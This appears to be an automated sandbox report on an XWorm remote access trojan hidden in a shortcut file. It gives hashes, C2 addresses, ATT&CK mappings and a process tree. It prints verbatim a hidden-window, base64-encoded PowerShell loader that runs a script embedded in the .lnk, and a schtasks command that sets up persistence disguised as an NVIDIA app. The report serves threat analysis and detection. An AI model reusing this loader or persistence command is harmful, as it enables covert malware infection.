xworm | 22deca7853e87df24e07dda90de8b271c10a1a834071016027bcfcd5e1a9025a

General

Target

example.lnk
Size

106KB
MD5

7700437a5f513b84c95bd3021e9c6eb5
SHA1

197b8e9a62c2d1116934387ed4311d0fa4d972c4
SHA256

22deca7853e87df24e07dda90de8b271c10a1a834071016027bcfcd5e1a9025a
SHA512

c73308cce581200b34d719100fe38001dcf30a6d8d58d1032410679935984d4348292a4c96d21013c5febfa8063a8a9b34ef7b0a84aa809617bfab6306094d04
SSDEEP

1536:aMFdgMwrXpEaDF/iCehwUdIYhojc2PUGbvkLIJ9P2kdHG:aMFdgNXJiCepWYhn2PjbJjP2kdHG

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

casino-offline.gl.at.ply.gg:30120

181.214.214.6:30120

Mutex

yPPDzVqNXorYr6Q9

Attributes

Install_directory
%ProgramData%
install_file
NVIDIA app.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00050000000229e0-21.dat	family_xworm
behavioral2/memory/3172-28-0x0000000000350000-0x0000000000360000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4252	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	XClient.exe

Executes dropped EXE 4 IoCs

pid	Process
3172	XClient.exe
2616	NVIDIA app.exe
4880	NVIDIA app.exe
3940	NVIDIA app.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000_Classes\Local Settings	powershell.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3756	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3772	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4252	powershell.exe
4252	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	3172	XClient.exe
Token: SeDebugPrivilege	3172	XClient.exe
Token: SeDebugPrivilege	2616	NVIDIA app.exe
Token: SeDebugPrivilege	4880	NVIDIA app.exe
Token: SeDebugPrivilege	3940	NVIDIA app.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2528 wrote to memory of 4252	2528	cmd.exe	86
PID 2528 wrote to memory of 4252	2528	cmd.exe	86
PID 4252 wrote to memory of 3756	4252	powershell.exe	88
PID 4252 wrote to memory of 3756	4252	powershell.exe	88
PID 4252 wrote to memory of 3172	4252	powershell.exe	89
PID 4252 wrote to memory of 3172	4252	powershell.exe	89
PID 3172 wrote to memory of 3772	3172	XClient.exe	95
PID 3172 wrote to memory of 3772	3172	XClient.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\example.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noni -noe -WindowStyle hidden -e JABzAGMAcgBpAHAAdABfAHMAdABhAHIAdABfAGIAeQB0AGUAIAA9ACAAMAB4ADAAMAAwADEAOQBlAGYANgAKACQAcwBjAHIAaQBwAHQAXwBsAGUAbgBnAHQAaAAgAD0AIAAyADcAOQAyADsACgAkAGYAaQBsAGUAbgBhAG0AZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAKgAuAGwAbgBrACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAANQAxADIAMAAwAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAATgBhAG0AZQA7AAoACgBpAGYAIAAoAC0AbgBvAHQAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAZgBpAGwAZQBuAGEAbQBlACkAKQAKAHsACgAkAHYAYQBsACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAuAC8AIAAtAEYAaQBsAHQAZQByACAAJABmAGkAbABlAG4AYQBtAGUAIAAtAFIAZQBjAHUAcgBzAGUAOwAKAGkAZgAgACgALQBuAG8AdAAgACQAdgBhAGwAKQAKAHsACgBlAHgAaQB0AAoAfQAKAFsASQBPAC4ARABpAHIAZQBjAHQAbwByAHkAXQA6ADoAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAoACQAdgBhAGwALgBEAGkAcgBlAGMAdABvAHIAeQBOAGEAbQBlACkAOwAKAH0ACgAkAGYAaQBsAGUAcwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEYAaQBsAGUAUwB0AHIAZQBhAG0AIAAkAGYAaQBsAGUAbgBhAG0AZQAsACcATwBwAGUAbgAnACwAJwBSAGUAYQBkACcALAAnAFIAZQBhAGQAVwByAGkAdABlACcAOwAKACQAdgBhAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACgAJABzAGMAcgBpAHAAdABfAGwAZQBuAGcAdABoACkAOwAKACQAcgAgAD0AIAAkAGYAaQBsAGUAcwB0AHIAZQBhAG0ALgBTAGUAZQBrACgAJABzAGMAcgBpAHAAdABfAHMAdABhAHIAdABfAGIAeQB0AGUALABbAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkAOwAKACQAcgAgAD0AIAAkAGYAaQBsAGUAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJAB2AGEAbAAsADAALAAkAHMAYwByAGkAcAB0AF8AbABlAG4AZwB0AGgAKQA7AAoAJAB2AGEAbAAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABDAGgAYQByAEEAcgByAGEAeQAoACQAdgBhAGwALAAwACwAJAB2AGEAbAAuAEwAZQBuAGcAdABoACkAOwAKACQAcwB0AHIAaQBuAGcAIAA9ACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB2AGEAbAApADsACgBpAGUAeAAgACQAcwB0AHIAaQBuAGcAOwA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\tesasd.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:3756
- - C:\Users\Admin\AppData\Local\XClient.exe
    "C:\Users\Admin\AppData\Local\XClient.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NVIDIA app" /tr "C:\ProgramData\NVIDIA app.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3772

C:\ProgramData\NVIDIA app.exe
"C:\ProgramData\NVIDIA app.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2616

C:\ProgramData\NVIDIA app.exe
"C:\ProgramData\NVIDIA app.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4880

C:\ProgramData\NVIDIA app.exe
"C:\ProgramData\NVIDIA app.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NVIDIA app.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0coxydua.ynp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tesasd.txt

Filesize
52KB

MD5
11007bb286caf468648bfdb698077dbe

SHA1
c75bacef9096d5e8d3613e062ca10acb492a2d88

SHA256
04864cb1cc9647bd297b3bf8818595fc65d870a8fa74ee3a420fedfcafdfa292

SHA512
8ef29a7c561a224fca5ff289103b7c8e84c12f92e954bc3751907c430562f42c018aa8f5d7599852dea17bccf93e5fbb2e47cc75ba9ce377b58981f011e2ac17

Download Submit
C:\Users\Admin\AppData\Local\XClient.exe

Filesize
39KB

MD5
bb47aca4696a06a1d96fc38c1c086354

SHA1
d4cafff056953d497b1b5679ec65819d93c99224

SHA256
577597b7064e7fd13a88fa2bdf746b1b9538be28548e11e34994c251ab544b15

SHA512
0c024e6ecf8f07869c4485d8fa01126adf54fb5fa5b10f0117651113b52bd9c92080d72174151339b5e4aded2221fdf7be22f99de3e660fe4d43cec21dc21f39

Download Submit
memory/3172-28-0x0000000000350000-0x0000000000360000-memory.dmp

Filesize
64KB

Download
memory/4252-2-0x00007FF8589A3000-0x00007FF8589A5000-memory.dmp

Filesize
8KB

Download
memory/4252-12-0x0000017E4E350000-0x0000017E4E372000-memory.dmp

Filesize
136KB

Download
memory/4252-13-0x00007FF8589A0000-0x00007FF859461000-memory.dmp

Filesize
10.8MB

Download
memory/4252-14-0x00007FF8589A0000-0x00007FF859461000-memory.dmp

Filesize
10.8MB

Download
memory/4252-31-0x00007FF8589A3000-0x00007FF8589A5000-memory.dmp

Filesize
8KB

Download
memory/4252-34-0x00007FF8589A0000-0x00007FF859461000-memory.dmp

Filesize
10.8MB

Download
memory/4252-35-0x0000017E66560000-0x0000017E6677C000-memory.dmp

Filesize
2.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads